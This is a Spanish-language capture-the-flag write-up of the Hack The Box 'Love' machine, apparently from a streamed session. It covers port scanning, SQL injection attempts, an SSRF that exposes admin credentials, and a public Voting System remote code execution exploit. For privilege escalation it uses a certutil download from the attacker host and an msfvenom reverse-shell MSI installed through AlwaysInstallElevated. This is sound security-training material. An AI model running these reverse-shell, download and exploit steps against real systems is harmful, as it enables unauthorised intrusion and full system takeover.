HTB_Love
Love {-}
Introduccion {-}
La maquina del dia 07/08/2021 se llama Love .
El replay del live se puede ver aqui
No olvideis dejar un like al video y un comentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.239
ttl: 127 -> maquina Windows. Recordar que en cuanto a ttl respecta 64 = linux y 128 = windows. Pero comom estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya una unidad
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.239
Si consideras que va muy lento puedes meter los siguientes parametros para que valla mucho mas rapido el escaneo
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,4966,49667,49668,49669,49670 10.10.10.239 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
80 | http | Web, fuzzing | |
135 | rpc | ||
139 | NetBios | ||
443 | ssl (https) | ||
445 | SMB | Null session | |
3306 | mssql? | ||
5000 | http | ||
5040 | http | ||
5985 | WinRM | ||
5986 | WinRM ssl | ||
7680 | tcp panda-pub? | ||
47001 | http | ||
49664 | msrpc | puertos por defectos de windows | |
49665 | msrpc | puertos por defectos de windows | |
49666 | msrpc | puertos por defectos de windows | |
49667 | msrpc | puertos por defectos de windows | |
49668 | msrpc | puertos por defectos de windows | |
49669 | msrpc | puertos por defectos de windows | |
49670 | msrpc | puertos por defectos de windows |
Analizando el SMB {-}
crackmapexec smb 10.10.10.239
smbclient -L 10.10.10.239 -N
Vemos que estamos en frente de una maquina Windows10 pro que se llama Love y poco mas
Analizando la web {-}
Whatweb {-}
whatweb http://10.10.10.239
whatweb https://10.10.10.239
Nada muy interesante aqui
Chequear el contenido de el certificado SSL con openssl {-}
openssl s_client -connect 10.10.10.239:443
vemos una direccion de correo roy@love.htb
lo que quiere decir que tenemos un usuario y un dominio.
Tambien vemos un dominio staging.love.htb
, quiere decir que es posible que se aplique virtual hosting.
Lo añadimos al /etc/hosts
de la maquina de atacante.
Chequear la web los puertos web {-}
cat targeted | grep "http"
cat targeted | grep "http" | grep -oP '\d{1-5}/tcp'
Aqui descartamos el puerto 47001 y los puertos 5985-5986 que ya sabemos que son los WinRM.
Con firefox navigamos en la web para ver lo que porque hay mucho por mirar.
- el puerto 80 nos muestra una pagina de login.
- el puerto 443 nos muestra un Forbidden.
- el puerto 5000 nos muestra un Forbidden.
- el dominio staging.love.htb nos muestra otra web
Chequeando el puerto 80 {-}
Aqui como estamos en un panel de inicio de session, intentamos cosas
- admin / admin
- 1 / hola
- 0 / hola
- -1 / hola
- ;” / hola
- 1’ or 1=1– - / #
- ’ or sleep(5)– - / #
- 1 and sleep(5)– - / #
- 1000 / hola
Aqui no parece que este vulnerable a inyeccion SQL. Vamos a fuzzear la web
Fuzzing con WFuzz {-}
Fuzzeamos el puerto 80
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.239/FUZZ
Encontramos una ruta /admin
. En la pagina admin vemos otro panel de inicio de session que no es la misma que la del index.php
Chequeando la pagina admin {-}
Aqui como estamos en un panel de inicio de session, intentamos cosas
- test / test
- admin / admin
Ya vemos por el mensaje de error quel usuario admin existe.
Evaluacion de vulnerabilidades {-}
Analizamos la web staging.love.htb {-}
Aqui llegamos en una pagina Free File Scanner. si pinchamos el menu Demo vemos un input que nos pregunta por un file url.
Vamos a ver lo que pasa si le damos una url de nuestro equipo de atacante
Injeccion HTML y SSRF {-}
vi index.html
<h1>Hola</h1>
<marquee>Se tenso</marquee>
Creamos un servicio http con python
python3 -m http.server 80
En la web ponemos la url de nuestro equipo http://10.10.14.8/
y vemos que la web es vulnerable a una Injeccion HTML.
Intentamos con una pagina php
vi index.php
<?php
system("whoami");
?>
Si ahora en la web le ponemos http://10.10.14.8/index.php
no pasa nada quiere decir que esta en un contexto sanitizado.
Bueno aqui pensamos en un SSRF y intentamos cosas como http://localhost/
. Esto nos muestra el panel de session que ya hemos analizado,
y probamos a ver si los puertos que tenian el mensaje Forbidden se pueden ahora burlar.
Intentamos el puerto 5000, http://localhost:5000/
y effectivamente se puede ver la pagina. A demas vemos aqui las credenciales del usuario admin.
Nos conectamos ahora con el usuario admin en el panel de administracion y pa dentro.
Voting System vunlerability {-}
Aqui como una vez mas vemos el voting system, mirramos si un exploit existe para este gestor de contenido
searchsploit voting system
Encontramos un que permitte hacer Ejecucion Remota de comandos una vez autenticados. Como no tenemos claro que version del voting system es, intentamos utilizar el script
cd exploits
searchsploit -m php/webapps/49445.py
mv 49445.py voting-system.py
vi voting-system.py
Aqui vemos que el exploit nos da directamente une reverse shell.
Explotacion de vulnerabilidad & Ganando Acceso {-}
Conexion desde la vulnerabilidad de Voting System {-}
-
Controlamos que las urls que estan en el script existen en la web.
Aqui vemos que las urls no son exactamente las mismas y que hay que modificarlas un poquito.
-
Modificamos el script para que ataque el servicio de la maquina victima
```{r, echo = FALSE, fig.cap=”voting system reverse shell”, out.width=”90%”} knitr::include_graphics(“images/love-votingsystem-rshell.png”)
bash
rlwrap nc -nlvp 443
-
Lanzamos el script.
python3 voting-system.py
Ya estamos en la maquina.## Escalada de privilegios {-}
Rootear la maquina {-}
whoami
whoami /priv
whoami /all
Aqui no vemos nada de interesante.
cd c:\
cd PROGRA~1
dir
cd ..
cd PROGRA~2
dir
Investigamos un poco pero no vemos nada muy interesante. Decidimos lanzarle un WinPEAS
Analisis de vulnerabilidad Privesc con WINPEAS {-}
cd c:\Windows\Temp
mkdir EEEE
cd EEEE
Descargamos el winpeasx64.exe
desde https://github.com/carlospolop/PEASS-ng/blob/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASx64.exe.
cd content
cp /home/s4vitar/Descargas/firefox/winPEASx64.exe .
python3 -m http.server 80
Lo descargamos desde la maquina victima y lo lanzamos.
certutil.exe -f -urlcache -split http://10.10.14.8/winPEASexe.exe winPEAS.exe
winPEAS.exe
Vemos algo interressante en Checking AlwaysInstallElevated
{r, echo = FALSE, fig.cap="privesc hklm hkcu vuln", out.width="90%"}
knitr::include_graphics("images/love-hklm-hkcu.png")
bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f msi -o reverse.msi
- lo enviamos a la maquina victima con el servidor http de python
- nos ponemos en escucha por el puerto 443
-
lo ejecutamos desde la maquina victima
msiexec /quiet /qn /i reverse.msi
Ya estamos a dentro con el usuario nt authority\system y podemos ver la flag.